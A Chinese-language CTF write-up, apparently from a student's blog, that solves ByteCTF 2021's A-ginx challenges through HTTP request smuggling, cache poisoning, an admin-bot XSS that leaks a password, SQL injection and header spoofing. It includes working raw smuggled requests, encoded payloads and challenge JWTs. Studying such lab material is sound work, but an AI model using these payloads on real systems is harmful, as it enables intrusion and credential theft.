0x00 背景
这要命的大二上总算结束了(虽然还有线上考☹)
终于可以好好看看之前的比赛题。花了一天的时间,终于把Bytectf2021的Aginx系列看了个大概。
0x01
官方wp(agnix)
官方认证高质量wp
官方wp(aginx2)
0x02 题目搭建
作者给了题目环境,但直接用会经典报错。经过实际踩坑,发现应该把/A-GINX/front/package-lock.json
中的http://bnpm.byted.org/
替换成https://registry.npmjs.org/
,推测那个应该是字节自己的,反正我是访问不到。然后还需要把/A-GINX/Dockerfile_bot
中的换源操作及后面相关命令去掉,这个我很不解,反正用他的那个清华源下到一半就寄了,明明浏览器都能访问到,构建docker的时候就是不行。
然后我搭建题目上就没遇到问题了。
0X03 A-ginx
这个题按照作者的说法是:请求走私 + 缓存攻击 + XSS
题目由四个部分构成:
1.vue实现的一个小作文平台
2.go实现的处理静态及缓存文件的用户可见后端,并将复杂请求转发给‘后后端’
3.go实现的处理复杂请求的,对用户透明的‘后后端’
4.用selenium的WebDriver实现的自动化浏览器,来模拟admin对新文章检查
然后要想对题目有更深得了解,就要仔细看源码了
因为没接触过selenium,所以不太看得懂bot在干嘛,看了一下教程。bot监听在一个端口等待tcp连接,连接成功后给他一个文章uuid,bot会以admin的身份访问。可以看到文章uuid这个存在xss的可能。
但由于base64encode和atob
一折腾,堆叠js代码就没可能。
但可以../
穿越/#/articles
,因为一个带有../的url,大多数服务端会返回302跳转。本题中通过源码可以得知这一点。
js和浏览器又会默认进行跳转。例如你现在点击这个连接(https://www.baidu.com/a/../b )会直接看到
(但抓包发现百度没有302,而是直接返回/b的回显)
所以下手点就是a-ginx服务了,查看他的路由(\A-ginx\a-ginx\cmd\server\main.go)。
发现所有对https://aginx/ 的请求均在这个方法中处理。
仔细分析这个方法,先在getClient()
注册了之后可能用到的代理。
然后通过正则请求路径,判断请求的是否为静态文件,是则直接返回。
否则,再通过判断请求路径是否包含/static/
,来判断是否存在缓存,若存在则返回。
否则,就将请求转给代理处理(‘后后端’)。处理结束后,判断请求路径是否含有/static/
,若含有,则将路径与回显保存为缓存。下次再请求时不经过代理即可处理。
但从wp中可以看到,问题出在请求的代理抓发过程。继续深入getClient()
,
当中使用了tcp与代理端建立连接,之后将客户请求全部原样发给代理端。但中间会经历一次url转码,这便是问题所在,因为一个tcp连接可以发送不止一个http请求。而不同http请求是以字符(%0D%0A%0D%0A
)分割的。
继续看代理的部分。同样先看路由
/flag
即可获取flag。但GetFlag()
中限制了用户为admin
,IP在172.16.0.0/12
内。这两个在题目中均无法伪造。所以只能通过bot来访问,并通过xss带出。所以目标明确了,需要寻找一处xss。
入口点肯定是bot了,但要如何利用呢?通过分析代理端的那些路由,可以发现最有可能出问题的就是PreviewArticles
,
我们可以把xss代码放到PreviewArticles
中,但要想要bot访问到,可行的方法就是将其存入缓存,这意味着请求路径中需要有/static/
。所以wp中提到的payload便出来了。
GET /static/xxx%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2
Host: 39.105.13.40:30443
Content-Type: application/x-www-form-urlencoded
Content-Length: 921
title=%7B%22data%22%3A%7B%22_id%22%3A%221%22%2C%22title%22%3A%222%22%2C%22author%22%3A%223%22%2C%22htmlContent%22%3A%22&content=%3Cimg%20src%3D'test'%20onerror%3D'var%20xhttp1%20%3D%20new%20XMLHttpRequest()%3Bxhttp1.open(%5C%22POST%5C%22%2C%20%5C%22%2Fv%2Farticles%5C%22%2C%20true)%3Bxhttp1.setRequestHeader(%5C%22Content-Type%5C%22%2C%5C%22application%2Fjson%5C%22)%3Bxhttp1.setRequestHeader(%5C%22Authorization%5C%22%2C%5C%22Bearer%20eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2MzUwMTgxODYsInVzZXJuYW1lIjoiblZtU1N0UHpJU1E5In0.Z8kRojnNNNd6-g7Il3BPzvuGdVz-UtqaQzjWPsC1FMw%5C%22)%3Bxhttp1.send(JSON.stringify(%7B%5C%22title%5C%22%3A%5C%22here_is_pwd%5C%22%2C%5C%22content%5C%22%3Adocument.getElementById(%5C%22app%5C%22).__vue__.%24children%5B2%5D._data.form.password%2C%5C%22tags%5C%22%3A%5B%5D%2C%5C%22is_public%5C%22%3Afalse%7D))%3B'%3E%22%2C%22submissionTime%22%3A4%2C%22tags%22%3A%225%22%7D%2C%22status%22%3A0%7D
可以看到,payload中的url经过一次urldecode后,提前结束了get请求,开始了新的post请求,配合后面的body部分,可以做到将PreviewArticles
返回的数据,缓存在这个特殊url下。
成功缓存后会回显200,并且在浏览器访问也可以访问得到。第一次总会404,第二次就好了。
将url前面拼接../../
后,整体再urlencode一次(因为bot会又有一次urldecode),发送给bot,bot就可以访问到我们注入的缓存,其中写入xss代码,就可以完成题目。最后的这一步,两个wp有两个方法,下面进行分析一下。
对于impakho师傅的,他利用添加文章时是使用Authorization
进行身份验证的这一特点,通过让bot使用自己的Authorization
发布文章,文章内容便是flag。具体来说就是利用缓存欺骗与请求走私进行xss,再通过xss访问/flag
。而作者的预期解中,也是通过缓存欺骗与请求走私进行xss,只不过获取/flag
时使用了请求走私。这样唯一的好处是不需要知道admin密码,因为请求走私的时候会带有admin凭证,而xss进行/flag
则需要自己设置admin凭证。
而既然请求走私可以获取/flag
,而我们又可将走私的回显污染到缓存中,并且我们可以访问到缓存。那么我们为什么不能将/flag
直接污染到缓存中呢。着就是作者最后提到的简单的非预期。
payload如下。向bot发送两次即可,通过访问/static/oooooo.json
得到flag。
..%25252f..%25252fstatic%252foooooo.json%2520HTTP%252f1.1%250aHost:%2520localhost%250aConnection:%2520Keep-Alive%250a%250aGET%2520%252fflag
首先这个paylaod经过两次urlencode。(bot发给agnix一次,agnix转给backend又一次)
可以发现传到backend的请求为
/v/articles/..%2f..%2fstatic/oooooo.json HTTP/1.1
Host: localhost
Connection: Keep-Alive
GET /flag
通过backend日志也可以看到带有../
的请求返回了跳转,并在后买跟随了/flag
请求。
而在agnix中即认为200回显,就会将返回的/flag
与跳转后的请求路径/static/oooooo.json
缓存。
0x04
虽然题目的大概知识点搞清楚了,但有一些东西感觉并没有深入了解,比如有关Trace-Id
与Cache-Control
的部分,在agnix中并没有深入考察。但在agnix2中就需要仔细分析了。
0x05 agnix2
搭建环境的方法同上。
agnix2中不再有bot可以用来xss。但其他的地方与aginx基本相同。有相同的前端,一个后端,一个backend。
与agnix相比,agnix2中存在SQL注入。但后端处存在过滤,所以考虑走私绕过。这个方法在后面IP欺骗也要用,可以说是agnix2中的一个核心考点。
exp在官方的wp中给出了,核心就是连续发送了两次请求,注入paylaod在第一个请求中,而exp最终只获取了第二个请求的回显。
使用burpsuit抓一下这两个请求。
请求1:
请求1回显:
请求2:
请求2回显:
先看第一个,乍一看,第一个请求像是把两个请求放到了一起。但在请求头中Content-Length: 0
,后面的body,便为一个完整的注入请求,但回显404似乎和body无关。而第二的请求的回显应该才是注入请求的回显。仔细观察,会发现两个请求有同样的Trace-Id
着意味着两个请求为同一tcp连接下的。
通过进一步分析后端与backend交互的过程,可以发现,在后端接收到请求,调用getClient(r.RemoteAddr)
为每个请求创建与backend的tcp连接时。同一ip的tcp连接存在复用时间,也就是同一个ip可以使用一个tcp连接向backend发送多个http请求。
继续向后分析,我们每与后端进行一次连接,通过proxy_pass.DoProxy(proxy, r, body)
,后端便会将数据全部通过建立的tcp连接发给backend,backend进行处理,并将结果返回给后端,后端再将结果返回给我们。总结一下,我们与后端是1对1
的关系(我发给后端一个请求,后端回复我一个请求),后端与backend是多对1
的关系(后端可能在一次tcp连接中发了几个http请求,但backend处理完一个后就会返回结果了,backend未处理的请求会在下次有请求时继续处理)。
所以回到SQL注入的exp上,请求1向backend发送了两个请求,backend处理完第一个后(1-7行)后返回结果404给后端,后端再返给我们。随着我们接着使用这个tcp连接发起请求,后端再将我们的请求转给backend,backend接着之前的位置,继续向后处理,便处理到请求1的9-12行,最后将注入结果返回给我们。这样也就绕过了在后端中对GET查询字段的过滤。
然后就可以顺利得到数据库中的admin密码。
但要想得到flag,还需绕过ip限制,题目中使用自定义的XFF头来向backend告知真实ip,所以如果我们知道了这个XFF头,也就可以伪造ip了。
分析代码,XFF头会被加到从后端向backend转发的请求头中。那我们就可以继续利用走私注入的思路,我们一起发几个http请求到backend,通过伪造Content-Length
,使下一个请求的请求头包含在上一个请求的body中,配合程序逻辑,将body回显给我们。
最后构造的请求如下
GET /vv/ HTTP/1.1
Host: localhost
Connection: Keep-Alive
Content-Length: 0
POST /v/articles/preview HTTP/1.1
Host: 127.0.0.1:30443
Accept: */*
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: python-httpx/0.21.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 316
title=1&content=
POST /v/articles/preview HTTP/1.1
Host: 127.0.0.1:30443
Accept: */*
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
User-Agent: python-httpx/0.21.1
Content-Length: 400
连续发送两次,即可得到目标请求头。
最后使用admin凭证与得到的XFF头进行ip欺骗,就可以得到flag。
GET /flag HTTP/1.1
Host: 127.0.0.1:30443
Accept: */*
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDE4MjE4MTUsInVzZXJuYW1lIjoiYWRtaW4ifQ.jt3xHNYobGtFIKFY3ZKhA7VUYvKfWP1GfMrT0FyrWtA
User-Agent: python-httpx/0.21.1
X-Sup3r-DiAnA-Re4l-Ip: 172.22.0.1:45958
0x06
通过这两个题,着实是学到了很多。也是第一次从这么底层去分析http请求。虽然真实环境上基于Content-Length
的欺骗并不常见,作者也说了,他是通过更改了golang.org/x/net/http2 中的东西,才完成的aginx2。但也确实让我对http1.1与http2产生了好奇,这几天可能会继续学习相关的内容。
虽然题目做完了,但疑问还是有很多。为什么agnix2的注入方法无法用到aginx1上?我自己在对比两个环境相关源码的时候,能找到的不同就是二者的查询语句有些许不同,但也没分析出注入造成的原因。希望明白的师傅可以指点一下。
A-ginx
db.DB.Select("`articles`.*, GROUP_CONCAT(`tags`.`tags`) as tags").Table("articles").Joins("LEFT JOIN tags ON articles.id = tags.aid", username).Where("(articles.author = ? OR articles.is_public = 1)", username).Where(*allow).Group("id").Limit(pageSize).Offset(pageSize * pageNum).Find(&articles)
A-ginx2
db.DB.Select("`articles`.*, GROUP_CONCAT(`tags`.`tags`) as tags").Table("articles").Joins("LEFT JOIN tags ON articles.id = tags.aid AND (articles.author = ? OR articles.is_public = 1)", username).Where(*allow).Group("id").Limit(pageSize).Offset(pageSize * pageNum).Find(&articles)